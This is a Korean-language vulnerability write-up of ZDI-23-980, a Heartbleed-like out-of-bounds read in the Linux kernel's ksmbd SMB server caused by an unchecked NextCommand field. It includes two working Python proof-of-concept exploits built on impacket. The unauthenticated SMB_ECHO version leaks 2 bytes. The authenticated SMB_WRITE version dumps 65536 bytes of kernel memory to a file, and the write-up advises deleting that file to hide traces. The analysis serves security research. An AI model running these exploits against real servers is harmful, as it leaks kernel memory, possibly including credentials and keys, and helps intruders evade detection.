ZDI-23-980
이전 글에 이어서 이번엔 ZDI-23-980 내용이다. 해당 취약점은 Linux 커널의 ksmbd sub system에서 발생하는 (un)authenticated(후술하겠지만 인증 필요할 수도 있고 안 할 수도 있다) OOB read 취약점이다(network-based)
사용자는 커널 메모리에서 최대 65536바이트의 읽기를 수행할 수 있다. 해당 문제는 SSL의 Heartbleed 취약점과 유사한 buffer overead로 발생한다.
요청 패킷에 데이터 길이 정보에 대한 검사가 없어서 그대로 처리하게 된다. 요약 하자면..
-
- 100바이트짜리 데이터 보낼게요
- ㅇㅇ 100바이트 읽을 준비할게요
-
- 실제로는 10바이트만 보내면
- 서버는 100바이트 읽기로 했으니 나머지 90바이트는 memory-leak으로 읽음
악용 방법 1 : SMB_WRITE
- dump.bin에 크기 N의 SMB_WRITE 요청
- 실제 요청 패킷에 담긴 내용은 N보다 작도록 작성
- SMB_READ 요청을 보내면 dump.bin 파일이 다운됨
- 익스 흔적을 제거하기 위해 해당 파일을 삭제
악용 방법 2 : SMB_ECHO
인증은 필요없음(1번은 필요하다는 거겠지..) 대신 이 요청은 2바이트만 유출 가능하다. SMB_ECHO 보낼 때 마지막 2바이트 비워서 보내면 서버가 memory-leak으로 채운다.
이
the underlying issue
smb request 패킷 헤더에 있는 smb2_hdr.NextCommand 필드에 대한 검사가 부적절하기 떄문에 해당 취약점이 발생했다. NextCommand는 현재 명령 이후에 다음 명령이 시작되는 위치(오프셋)를 나타냅니다.
exploit
#!/usr/bin/env python3
from impacket import smb3
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_ECHO
packet["Data"] = p16(0x4)
packet["NextCommand"] = 64+4
print("[*] sending OOB read...")
conn.sendSMB(packet)
print("[*] reading response...")
rsp = conn.recvSMB().rawData
print(rsp)
if __name__ == "__main__":
main()
간단한 SMB_ECHO 버전의 PoC이다. SMB_WRITE 버전은 해당 요청 struct를 짧게 살펴보고 이에 구조를 맞춰줘야 한다.
struct smb2_write_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 49 */
__le16 DataOffset; /* offset from start of SMB2 header to write data */
__le32 Length;
__le64 Offset;
__u64 PersistentFileId; /* opaque endianness */
__u64 VolatileFileId; /* opaque endianness */
__le32 Channel; /* MBZ unless SMB3.02 or later */
__le32 RemainingBytes;
__le16 WriteChannelInfoOffset;
__le16 WriteChannelInfoLength;
__le32 Flags;
__u8 Buffer[];
} __packed;
#!/usr/bin/env python3
from impacket import smb3
from pwn import p64, p32, p16, p8
def main(username: str, password: str, share: str, filename: str):
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...")
conn.login(user=username, password=password)
print(f"[*] connecting to tree/share: '{share}'")
tree_id = conn.connectTree(share)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_WRITE
StructureSize = 49
DataOffset = 64 + StructureSize # fixed packet size excl buffer
Length = 0x10000 # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000)
# this is ugly but acquires a RW handle for the '{filename}' file containing the memory
file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE,
creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE)
packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0))
packet["TreeID"] = tree_id
packet["NextCommand"] = DataOffset+Length # the end of the buffer is past the end of the packet
print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')")
conn.sendSMB(packet)
print("[*] closing file descriptors...")
conn.close(tree_id, file_id) # close fd's bcs impacket is impacket
print(f"[*] reading file containing kernel memory: '{filename}'")
conn.retrieveFile(share, filename, print) # print file (containing kmem dump)
if __name__ == "__main__":
main("user", "pass", "files", "dump.bin")
위와 같이 StructureSize는 49로 설정하지만 Length의 경우 0x10000(65536바이트)로 설정하여 파일 작성을 요구한다.